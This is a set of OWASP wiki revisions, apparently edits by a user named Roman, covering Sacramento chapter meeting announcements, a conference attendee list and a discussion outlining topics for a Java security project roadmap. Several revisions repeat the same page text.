'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review. Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders.

'''RSVP & LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620
*: HP Medi-Cal [http://maps.google.com/maps?f=q&hl=en&geocode=&q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&sll=37.0625,-95.677068&sspn=51.443116,107.753906&ie=UTF8&om=1&ll=38.58885,-121.275437&spn=0.01117,0.019956&t=k&z=16&iwloc=addr (map)]
*: 3215 Prospect Park Drive
*: Rancho Cordova , CA
*: 95670

== Future meetings ==
We always want ideas! Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].

== Past Meetings ==
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a "SQL Injection Lab"

2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented "Automated Web Application Testing - Why we're Doing It Wrong"

2010-04-29: Roman Hustad presented "The Secure Software Development Lifecycle"

2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented "Tool Assisted Manual Code Review - Manual Precision with Automated Performance"

2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented "Key Management & Encryption" [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]

2009-12-09: Alex Smolen presented "The OWASP .NET ESAPI"

2009-10-08: Ned Allison chaired a roundtable on "Database Security"

2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on Cross-Site Scripting"

2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on SQL Injection"

2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented "Voting Security."

2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "How to Test the Security of Web Applications."

2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented "Database Security."

2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented "Passive Web Application Defect Identification."

2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented "Web Application Hacking" to over 40 attendees.

2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented "Hack proof your Service-Oriented Architecture" to 15 attendees.

[[Category:California]]

Sacramento

2010-09-16T08:29:20Z

Roman: /* Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm */

{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}

== Charter ==
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun. Meetings are typically on the last Thursday evening of the month.

== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==

Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult. Roman Hustad will share from his threat modeling experiences how a basic threat model can be constructed in hours rather than days. This will be a ''work''shop, not a presentation so come prepared to stand up and participate. Roman will give a brief introduction to Threat Modeling and propose a simplified methodology. The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).

Dinner and drinks will be provided by the chapter. (Thanks to those of you who became OWASP members in 2010!)

'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review. Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders.

'''RSVP & LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620
*: HP Medi-Cal [http://maps.google.com/maps?f=q&hl=en&geocode=&q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&sll=37.0625,-95.677068&sspn=51.443116,107.753906&ie=UTF8&om=1&ll=38.58885,-121.275437&spn=0.01117,0.019956&t=k&z=16&iwloc=addr (map)]
*: 3215 Prospect Park Drive
*: Rancho Cordova , CA
*: 95670

== Future meetings ==
We always want ideas! Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].

== Past Meetings ==
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a "SQL Injection Lab"

2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented "Automated Web Application Testing - Why we're Doing It Wrong"

2010-04-29: Roman Hustad presented "The Secure Software Development Lifecycle"

2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented "Tool Assisted Manual Code Review - Manual Precision with Automated Performance"

2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented "Key Management & Encryption" [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]

2009-12-09: Alex Smolen presented "The OWASP .NET ESAPI"

2009-10-08: Ned Allison chaired a roundtable on "Database Security"

2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on Cross-Site Scripting"

2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on SQL Injection"

2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented "Voting Security."

2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "How to Test the Security of Web Applications."

2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented "Database Security."

2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented "Passive Web Application Defect Identification."

2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented "Web Application Hacking" to over 40 attendees.

2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented "Hack proof your Service-Oriented Architecture" to 15 attendees.

[[Category:California]]

Sacramento

2010-09-16T07:48:59Z

Roman:

{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}

== Charter ==
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun. Meetings are typically on the last Thursday evening of the month.

== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==

Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult. Roman Hustad will share from his threat modeling experiences to show how a basic threat model can be constructed in hours rather than days. This will be a ''work''shop, not a presentation so come prepared to stand up and participate. Roman will give a brief introduction to Threat Modeling and propose a simplified methodology. The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).

Dinner and drinks will be provided by the chapter. (Thanks to those of you who became OWASP members in 2010!)

'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review. Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders.

'''RSVP & LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620
*: HP Medi-Cal [http://maps.google.com/maps?f=q&hl=en&geocode=&q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&sll=37.0625,-95.677068&sspn=51.443116,107.753906&ie=UTF8&om=1&ll=38.58885,-121.275437&spn=0.01117,0.019956&t=k&z=16&iwloc=addr (map)]
*: 3215 Prospect Park Drive
*: Rancho Cordova , CA
*: 95670

== Future meetings ==
We always want ideas! Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].

== Past Meetings ==
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a "SQL Injection Lab"

2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented "Automated Web Application Testing - Why we're Doing It Wrong"

2010-04-29: Roman Hustad presented "The Secure Software Development Lifecycle"

2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented "Tool Assisted Manual Code Review - Manual Precision with Automated Performance"

2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented "Key Management & Encryption" [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]

2009-12-09: Alex Smolen presented "The OWASP .NET ESAPI"

2009-10-08: Ned Allison chaired a roundtable on "Database Security"

2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on Cross-Site Scripting"

2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on SQL Injection"

2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented "Voting Security."

2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "How to Test the Security of Web Applications."

2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented "Database Security."

2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented "Passive Web Application Defect Identification."

2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented "Web Application Hacking" to over 40 attendees.

2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented "Hack proof your Service-Oriented Architecture" to 15 attendees.

[[Category:California]]

AppSec US 2010, CA/Attending Owasp Leaders

2010-08-31T08:43:05Z

Roman: /* Attending Leaders - Confirmed */

Page to manage the participation of the OWASP leaders at the [[AppSec_US_2010,_CA|AppSec USA in Irvine USA]]

===Attending Leaders - Confirmed===

* [[User:Dancornell|Dan Cornell]]- ''San Antonio Chapter and Global Membership Committee''
* Tony UV - ''Atlanta Chapter''
* [[User:Jmanico|Jim Manico]] - ''Podcast Project''
* [[User:MichaelCoates|Michael Coates]] - ''AppSensor project and Global Membership Committee''
* [[User:Knoblochmartin|Martin Knobloch]] - ''Education and Connections Committee''
* [[User:Rsnake|Robert Hansen]] - ''Connections Committee''
* [[User:Mtesauro|Matt Tesauro]] - ''Live CD project, Board Member''
* [[User:Wichers|Dave Wichers]] - ''Top 10 project, Board Member''
* [[User:brennan|Tom Brennan]] - ''NYC Chapter Leader, RFP Criteria project, OWASP-CRM, Board Member''
* [[User:Jeff_Williams|Jeff Williams]] - ''ESAPI project, Board Member''
* [[User:Dinis.cruz|Dinis Cruz]] - ''O2 Platform project, Board Member''
* [http://www.owasp.org/index.php/User:Dc David Campbell] - ''Denver Chapter, Industry Committee''
* [http://www.owasp.org/index.php/User:Justin42 Justin Clarke] - ''London Chapter and Connections Committee''
* Roman Hustad - ''Sacramento Chapter''

'''Part of the conference organization'''
* Cassio Goldschmidt - ''Los Angeles Chapter''
* [[:User:Tin Zaw|Tin Zaw]] - ''Los Angeles Chapter''
* [[User:Richard greenberg|Richard Greenberg]] - ''Los Angeles Chapter''
* [http://twitter.com/nilematotle Neil Matatall] - ''[[http://www.owasp.org/index.php/Orange_County Orange County Chapter]]''

===Also attending (part of OWASP community)===
* Joseph Dawson

===Attending Leaders - TBC===
* [[User:Lorna Alamri|Lorna Alamri]] - ''Connections Committee''

===Key WebAppSec players===
objective: identfy potential synergies between WebAppSec industry players and OWASP leaders (for example too meet and have a meeting)

* Firefox Browser
** There are a number of Firefox employees participating and they have shown interest in talking to OWAPS about how we can work together

===Developers and QA participating===
'''Sponsored by an OWASP Chapter'''
* TBC

''Question:Should we also do the same tracking for other Developers and QA/Testing professionals?''

===To do (tasks)===
* for each each participant
** link to MediaWiki user page
** add twitter accounts
*Travel arrangements
** map travel dates
** when/where they are arriving
** where are they staying
* figure out what to do with the leaders when they are there
* should we create a welcome pack for these leaders?
* should we see if they need help in their travel arrangements?
* should we see if its possible to find a local host for the accomodation (it is always better than going into an hotel)?
* do we need a budget? if so, how much?

[[Category:Connections Committee]]

2009-12-12T06:11:39Z

Roman:

Sacramento

2009-11-17T08:03:35Z

Roman:

{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].
<paypal>Sacramento</paypal>
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}

== Charter ==
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun. Meetings are typically on the last Thursday evening of the month.

== December 9, 2009, 6-8 pm: The OWASP .NET ESAPI Project ==

Pizza and drinks will be provided by the chapter.

* TOPIC:

The Enterprise Security Application Programming Interface, or [[ESAPI]], is a one-stop security shop for developers looking to implement security mechanisms in their code. The brainchild of Jeff Williams, one of the founders of OWASP, the ESAPI is an open source project that has gained traction with organizations looking to implement secure applications using tried and tested code that is also well organized and consistent. It includes functionality for validating and encoding data, authenticating and authorizing users, logging, error handling, and more. The API includes a Java reference implementation that can be extended to allow any organization to integrate security functionality into their Java/JEE applications.

But what about .NET? Many organizations are banking on the powerful Microsoft programming framework to help them deliver robust and secure software. However, like Java, .NET tends to leave it up to the end-user programmers to get security code right. The OWASP .NET ESAPI project intends to help .NET developers avoid introducing security vulnerabilities into their code by providing a full port of the original ESAPI project from Java to C#.

This talk will explore the gains, gripes, and gotchas of converting the ESAPI to .NET from the .NET ESAPI project lead himself. It will discuss features of the .NET frameworks security model, key differences between the Java and .NET platforms, and ASP.NET web security issues. Additionally, future ideas for .NET specific functionality will be proposed and discussed. Participation and feedback from the attendees is expected and encouraged.

* SPEAKER:

Alex Smolen is a former Software Security Consultant at Foundstone, where he provided security consulting services to clients to help find, fix, and prevent security vulnerabilities in enterprise software. His duties include threat modeling, code review, penetration testing, and secure software development lifecycle (S-SDLC) design and implementation. He is also an instructor for the Writing Secure Code, Building Secure Software, and Ultimate Web Hacking courses.

Alex has been working in software development for a decade and has participated in and led several development projects in ASP.NET, Java, and Ruby on Rails. His primary interests include the integration of security into software development life cycles, evaluating the business impact of information security, and the security of emerging technologies. Alex is a contributing member of the software security community and has participated in several open-source security projects.

Prior to Foundstone, Alex was the Security Solutions Manager at Parasoft Corporation, where he led the development of tools and methodologies for helping clients ensure application security from the ground up. He is currently pursuing a graduate degree at UC Berkeley and holds a BS in Electrical Engineering and Computer Science.

Alex is one of 24 recipients worldwide of the Microsoft MVP Award for Visual Developer and is the the author of the Hacme Casino security training application.

* LOCATION INFORMATION:

Please [http://fs17.formsite.com/rhustad/form444133929/index.html RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&hl=en&geocode=&q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&sll=37.0625,-95.677068&sspn=51.443116,107.753906&ie=UTF8&om=1&ll=38.58885,-121.275437&spn=0.01117,0.019956&t=k&z=16&iwloc=addr (map)]
*: 3215 Prospect Park Drive
*: Rancho Cordova , CA
*: 95670

== Past Meetings ==
2009-10-08: Ned Allison chaired a roundtable on "Database Security"

2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on Cross-Site Scripting"

2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "Hands-on SQL Injection"

2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented "Voting Security."

2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented "How to Test the Security of Web Applications."

2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented "Database Security."

2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented "Passive Web Application Defect Identification."

2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented "Web Application Hacking" to over 40 attendees.

2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented "Hack proof your Service-Oriented Architecture" to 15 attendees.

[[Category:California]]

2009-09-29T05:22:30Z

Roman:

Sacramento

2009-09-15T18:40:53Z

Roman:

Sacramento

2009-08-20T18:40:49Z

Roman:

Sacramento

2009-07-17T19:19:49Z

2008-09-23T22:12:13Z

Roman:

Sacramento

2008-08-15T19:46:06Z

Roman:

Sacramento

2008-07-20T05:45:30Z

Roman:

{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}

== Charter ==
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.

== Next Meeting - JULY 31st ==

The next OWASP Sacramento meeting will be on Thursday July 31st at 6pm. The topic of this meeting will be "How to Test the Security of Web Applications." This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Beverages, snacks and the presentation will be provided by the presenter.

Please use the online RSVP form below or contact Mpetteys at caiso.com by 7/28/08 if you plan to attend.

http://fs2.formsite.com/mpetteys/form330949260/index.html

TOPIC: How to Test the Security of Web Applications

This session aims to help you organize and execute security testing for web applications in a consistent manner. We will review the OWASP Testing Framework and the OWASP Testing Guide and discuss how you can use them to increase assurance that your web applications are secure from known threats. Tools and techniques will be demonstrated as they relate to the testing methodology. Please bring questions - the goal is to make this something practical rather than just a "nice presentation." The types of tests that will be covered are:
* Information Gathering
* Business Logic Testing
* Authentication Testing
* Session Management Testing
* Data Validation Testing
* Denial of Service Testing
* Web Services Testing
* Ajax Testing

SPEAKER BIO:
Roman Hustad is an experienced security tester and Principal Consultant at Foundstone, a division of McAfee. He has an extensive background in Sacramento-area enterprise web development and is a regular presenter at security and programming-related events. Besides all that, he's fun to listen to and promises you won't find this one boring!

* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Matt Petteys, 916-873-4716
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&hl=en&geocode=&q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&sll=37.0625,-95.677068&sspn=51.443116,107.753906&ie=UTF8&om=1&ll=38.58885,-121.275437&spn=0.01117,0.019956&t=k&z=16&iwloc=addr (map)]
*: 3215 Prospect Park Drive
*: Rancho Cordova , CA
*: 95670

== Local News ==
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented "Database Security."

2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented "Passive Web Application Defect Identification."

2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html OWASP Sacramento March Topic Survey]. This meeting will be sponsored by [http://www.breach.com Breach Security].

2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented "Web Application Hacking" to over 40 attendees.

2007-10-01: We have rescheduled the next meeting for November 29th 2007. Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.

2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented "Hack proof your Service-Oriented Architecture" to 15 attendees.

2007-07-15: We have rescheduled the next meeting for August 30th 2007. Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.

2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html OWASP Sacramento Topic Survey]

2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007. Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.

2006-05-18: OWASP Moves to MediaWiki Portal - 16:09, 18 May 2006 (EDT)

OWASP is pleased to announce the arrival of OWASP 2.0!

OWASP 2.0 utilizes the MediaWiki portal to manage and provide
the latest OWASP related information. Enjoy!

Sacramento

2008-05-08T17:51:26Z

Roman:

Sacramento

2008-04-02T19:57:09Z

Talk:OWASP Java Project Roadmap

2006-06-13T04:15:16Z

Roman: /* Frameworks you should be aware of (e.g. struts, stinger, etc.) */

==J2EE Security for Architects==

=== Risk Analysis===
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features [[User:Roman|Roman]] 00:15, 13 June 2006 (EDT)
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP/JSTL
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
* CSRF attack

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting
* Command injection - Runtime.getRuntime().exec()

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication
* Password length & complexity

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)

=== Protecting Binaries ===
* Bytecode obfuscation
* Convert bytecode to native machine code
* jarsigner

Talk:OWASP Java Project Roadmap

2006-06-13T04:14:20Z

Roman: /* J2EE Security for Developers */

==J2EE Security for Architects==

=== Risk Analysis===
To my mind, Risk Analysis is a general exercise that will apply equaly to all apps irrespective of the language used to implement the app. So would say that this belongs in the Guide rather than the Java project, unless you have some ideas on how to make this Java specific? --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Mapping Regulatory requirements to technical requirements===
Same as above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
I agree -- suggest deleting this section [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

===Design considerations===
This is quite general. Shall we narrow it down to the architectural issues that should be considered for each of the popular architectures such as:
* Architectural considerations
** EJB Middle tier
** Web Services Middle tier
** Spring Middle tier
--[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

===Frameworks you should be aware of (e.g. struts, stinger, etc.)===
There are many frameworks out there, so I'd suggest we keep this down to frameworks that specifically offer security functionality such as:
* Acegi
* Commons validator
* jGuard
* Stinger seems to be parked for a while now, is this correct Jeff?
** Stinger is
** CVS HEAD is in a functional state; needs work on docs and new features - Roman
Most web tier frameworks will prevent XSS attacks, so listing them all in this section is a bit verbose, would prefer to see them listed in the XSS section. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)

==J2EE Security for Developers==

===Java Security Basics===
* Class Loading
* Bytecode verifier
* The Security Manager and security.policy file
I suggest we do something short here for web developers, and wait on client side apps for now [[User:Jeff Williams|Jeff Williams]] 09:04, 12 June 2006 (EDT)

I agree --[[User:Stephendv|Stephendv]] 09:48, 12 June 2006 (EDT)

===Input Validation===
* Overview

==== SQL Injection====
* Overview
* Prevention
** White Listing
** Prepared Statements
** Stored Procedures
** Hibernate
** Ibatis
** Spring JDBC
** EJB 3.0?
** JDO?

====XSS====
* Overview
* Prevention
** White Listing
** Manual HTML Encoding
** Preventing XSS in popular Web Frameworks
*** JSP/JSTL
*** Struts
*** Spring MVC
*** Java Server Faces
*** WebWork?
*** Wicket?
*** Tapestry?
* <s>Misc I/P Validation Attacks (e.g. HTTP Response Splitting)</s> - Moved this out to a separate section below. --[[User:Stephendv|Stephendv]] 08:41, 12 June 2006 (EDT)
* <s>Using struts</s> Would recommend we cover a number of frameworks as mentioned above. --[[User:Stephendv|Stephendv]] 08:04, 12 June 2006 (EDT)
* CSRF attack

==== LDAP Injection ====
* Overview
* Prevention

==== XPATH Injection ====
* Overview
* Prevention

==== Miscellaneous Injection Attacks ====
* HTTP Response splitting
* Command injection - Runtime.getRuntime().exec()

=== Authentication===
* Storing credentials
* Hashing
* SSL Best Practices
* CAPTCHA systems (jcaptcha?)
* Container-managed authentication with Realms
* JAAS Authentication
* Password length & complexity

===Session Management===
* Logout
* Session Timeout
* Absolute Timeout
* Session Fixation
* Terminating sessions
** Terminating sessions when the browser window is closed

===Authorization===
* In presentation layer
* In business logic
* In data layer
* Declarative v/s Programmatic
* web.xml configuration
* [[Forced browsing]]
* JAAS
* EJB Authorization
* Acegi?
* JACC
* Check horizontal privilege

=== Encryption===
* JCE
* Storing db secrets
* Encrypting JDBC connections
* JSSE
* Random number generation

=== Error Handling & Logging===
* Output Validation
* Custom Errors
* Logging - why log? what to log? log4j, etc.
* Exception handling techniques
** fail-open/fail-closed
** resource cleanup
** finally block
** swallowing exceptions
* Exception handling frameworks
** Servlet spec - web.xml
** JSP errorPage

=== Web Services Security ===
* SAML
* WS-Security
* ...?

=== Code Analysis Tools ===
* FindBugs
** Creating custom rules
* PMD
** Creating custom rules
* JLint
* Jmetrics

== J2EE Security For Deployers ==

=== Securing Popular J2EE Servers ===
* Securing Tomcat
* Securing JBoss
* Securing WebLogic
* Securing WebSphere
* Securing x...
Would be nice to include an example secure by default configuration file for each server that has additional comments in it which expands on the security repurcussions of the various sections.

=== Defining a Java Security Policy ===
* Jeff's tool? --[[User:Stephendv|Stephendv]] 08:37, 12 June 2006 (EDT)
* jChains (www.jchains.org)

=== Protecting Binaries ===
* Bytecode obfuscation
* Convert bytecode to native machine code
* jarsigner

Talk:OWASP Java Project Roadmap

2006-06-13T04:06:53Z

Roman: /* J2EE Security For Deployers */

==J2EE Security for Architects==

=== Risk Analysis===
